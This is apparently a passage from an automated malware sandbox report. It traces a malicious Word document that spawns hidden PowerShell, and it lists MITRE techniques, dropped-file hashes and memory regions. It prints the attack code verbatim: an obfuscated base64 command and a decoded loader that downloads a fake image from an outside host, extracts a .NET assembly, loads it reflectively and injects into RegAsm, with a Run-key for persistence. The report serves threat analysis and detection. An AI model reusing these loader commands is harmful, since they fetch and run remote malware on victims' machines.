TreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDYDgTreMwDgTrewDgTreDcDgTreNgDgTrezDgTreDQDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDgDgTreNQDgTrevDgTreDcDgTreMgDgTrewDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDYDgTreMwDgTrewDgTreDcDgTreNgDgTrezDgTreDQDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreRQBXDgTreEgDgTreLwDgTrewDgTreDDgTreDgTreNQDgTrewDgTreDDgTreDgTreMQDgTrevDgTreDQDgTreNQDgTrexDgTreC4DgTreODgTreDgTre3DgTreDEDgTreLgDgTre2DgTreDQDgTreLgDgTre4DgTreDkDgTreMQDgTrevDgTreC8DgTreOgBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwDgTrexDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBDDgTreDoDgTreXDgTreBQDgTreHIDgTrebwBnDgTreHIDgTreYQBtDgTreEQDgTreYQB0DgTreGEDgTreXDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreaQBuDgTreGMDgTrebwBuDgTreHQDgTrecgBvDgTreHYDgTreZQByDgTreHQDgTreaQBkDgTreG8DgTreJwDgTresDgTreCcDgTreUgBlDgTreGcDgTreQQBzDgTreG0DgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2312

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634', 'https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.EWH/005001/451.871.64.891//:ptth' , '1' , 'C:\ProgramData\' , 'incontrovertido','RegAsm',''))} }"
4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2984

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\incontrovertido.vbs
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2644

C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
5⤵
- Suspicious use of SetWindowsHookEx
PID:2664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Exploitation for Client Execution

T1203

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
79517071b066552a4175e73d88ca4a41

SHA1
ca0189966ff37170d809320f5e1b5d364d491d43

SHA256
8bb6904e249bfd96d25f8e2e1d986c29eab7b47f3690df731bd8d6af8a64bc06

SHA512
c1eadc1729818942f2a96583eb732834d76ab0e00d262c995738604ced5965f01d43a3dcd7270945f69c45d48fc6b4df4348bd779dbbd2b93c0eb0bfd0cde9d7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
f52f98dfb54c4c40e1c68efd426e764c

SHA1
28bc73ae518079aa5754be67df62a09f06f91ee7

SHA256
66e89467168dcf63784b7984ecda8dea6731276655fc8ee2cca52bf636d91c46

SHA512
287a6cc028f4d695265c3dad3e663aff53b6b6c17804bf70663c94dff75ea2b619a92c9ba312a0769464c6e4fbe84fd86eb20bc94b8e559eee9bc00a0042de6f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{BFD3B9D5-930D-4DF4-B6D8-1EB946F73D06}.FSD

Filesize
128KB

MD5
3fdb630b344b23cf1e092a1287f11f21

SHA1
891a2bf7e7e686fae3b300dc6020d248b320fb20

SHA256
e6470fb883983c0f5c3de9e0142d862c02f495c2733d70f075edd9aa37ca6084

SHA512
767588ba48e24ee1ae84e8190ce957230fe294c5a9fe053f4e95374072d71d3429a2a990c3ecfd449d507fb4c83304c0a92d02c33853c318e1f20a6d7ded5143

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

Filesize
128KB

MD5
d7262cfe05683cc4b461df67009f843b

SHA1
14e1e45580e14354673006c6c6b450d12dbb1189

SHA256
3d363da0e4dc5a6c8b54bd2cca39cb3c486f804edf0e5aa0701d593d9a0bb582

SHA512
23a8f9dd312dee5a23ff365f5358ad12b9ea1e9a3a78a2469c6a2680673da68e5d4d61c8d388eeae8024ad131a79a806d8203baec466065b551611bf9756ea10

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{4BC63FB9-1EC8-4CCA-B02C-8DC83B45E2D5}.FSD

Filesize
128KB

MD5
a51613f943ff57a9a97ac8a774bf095e

SHA1
1409054a28423f4f9928d5aa82ddb9e3ad2f2c61

SHA256
b600b81a6572c9065d672d3183455b3ce2c7b8061a3da92644b145fe17705564

SHA512
bc458d5f035b7ecf50b1042d7c7d76d9e4d6c5db51831412b9fb341cff60310e9a26298399e8387227f4961a025436df4885249178dc2b3bafbf5a04017f90d5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\lioniskingandtigerisalsotryingforkingbutdifferentistheattitudeofthistwoanimalaredifferentlionsisalwaysalionitsucantcomparewith__anyotherbecauselionbeauties[1].doc

Filesize
34KB

MD5
d92d4f4a1d9dd4151b48dba9c911be5e

SHA1
41391287e7442a0629bebcee4a09b5c751c3334a

SHA256
4bb44d988825a04032c6e4ed62a631698dddee523cb1efe0ad6422492b939463

SHA512
5e422753e2ddac52698bd07582404effd943acabb9d48ef3f37d6ead1ec6c1883329c597208b6e963dd172c3514a89cdf2ccbf395147646bedcdf976f5eb4663

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabB3E4.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarB4B2.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarB62E.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\note\nots.dat

Filesize
302B

MD5
d83a316b7b5a939c14e44a89553d3533

SHA1
c95af327103c1369f3897cb6ae26a8b222b7b9cd

SHA256
8ffc23be9799cb688d62ec6927e0474b4109abcf62c3cf93359fd3c429a29f5f

SHA512
9e6a939259d40ce52f4ace065fd8105c51d64af1c422c0b0b9ec462a08377e0b871b6010e595dae4cbd864288fa8a62cfd2ac63bc6dd58d9d766b66a92683dd5

Download Submit
C:\Users\Admin\AppData\Local\Temp\{958AED38-BCE6-4485-9554-DC733616E498}

Filesize
128KB

MD5
c9554e18b712afe599680dd53520b928

SHA1
0ec058cd493ae17bce7ecefc70c95722c905eb10

SHA256
6bbc03099699ed6f36c2c90346b33e883374d3b5f43bb99927b76df208c86901

SHA512
66ea9b07d6d59bb4a60d517559c2647ecab33682045ea16af234fa778c885242d5873afecf0e5b06df848343d60ddadc23e9e8b6a10d78c62e34fcb8265f02b7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
9b23557ae78ef60629cf5a5f098fb53d

SHA1
431da70b91507e985adaad29d9d3f76557508f1a

SHA256
d19419414735a099198a9b2bccc614737cce6628647fbe12a8532ee1a6059e60

SHA512
b718913f6667c7542a03f6b6898dab618d6330f31a0f7cd8be7d2a88a21f29fcbb3f097621751575b9ed0254239a5c40ade6c2fa3afc9a04b234a164252d4e57

Download Submit
C:\Users\Admin\AppData\Roaming\onsandtigerbeautifulpicture.vbs

Filesize
152KB

MD5
af216517b1ac9254bcff5c37e6e80752

SHA1
a5bed501bc6ec2a6e555d96ff175910cadb10b81

SHA256
aa849b703bb5635313b8cabe1f08c6bb0f5bce5fa9d75260da988584da7a7471

SHA512
3acdbf49f9d7a6e466e309e49ca66b9eb911f47b686e9753ac4dc23ee8149d330f767e79a808844ce1e2462153a4580b60d2d280fb1b29dc1855ef61ad675f82

Download Submit
memory/2608-7-0x0000000003840000-0x0000000003842000-memory.dmp

Filesize
8KB

Download
memory/2608-196-0x000000007269D000-0x00000000726A8000-memory.dmp

Filesize
44KB

Download
memory/2608-5-0x000000007269D000-0x00000000726A8000-memory.dmp

Filesize
44KB

Download
memory/2608-3-0x000000002F9C1000-0x000000002F9C2000-memory.dmp

Filesize
4KB

Download
memory/2664-214-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-224-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-256-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-204-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-257-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-212-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-210-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-208-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-206-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-216-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-229-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-228-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-225-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-248-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-222-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-221-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-220-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2664-218-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-230-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-231-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-232-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-234-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-241-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2664-240-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2868-1-0x000000007269D000-0x00000000726A8000-memory.dmp

Filesize
44KB

Download
memory/2868-195-0x000000007269D000-0x00000000726A8000-memory.dmp

Filesize
44KB

Download
memory/2868-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2868-8-0x00000000023E0000-0x00000000023E2000-memory.dmp

Filesize
8KB

Download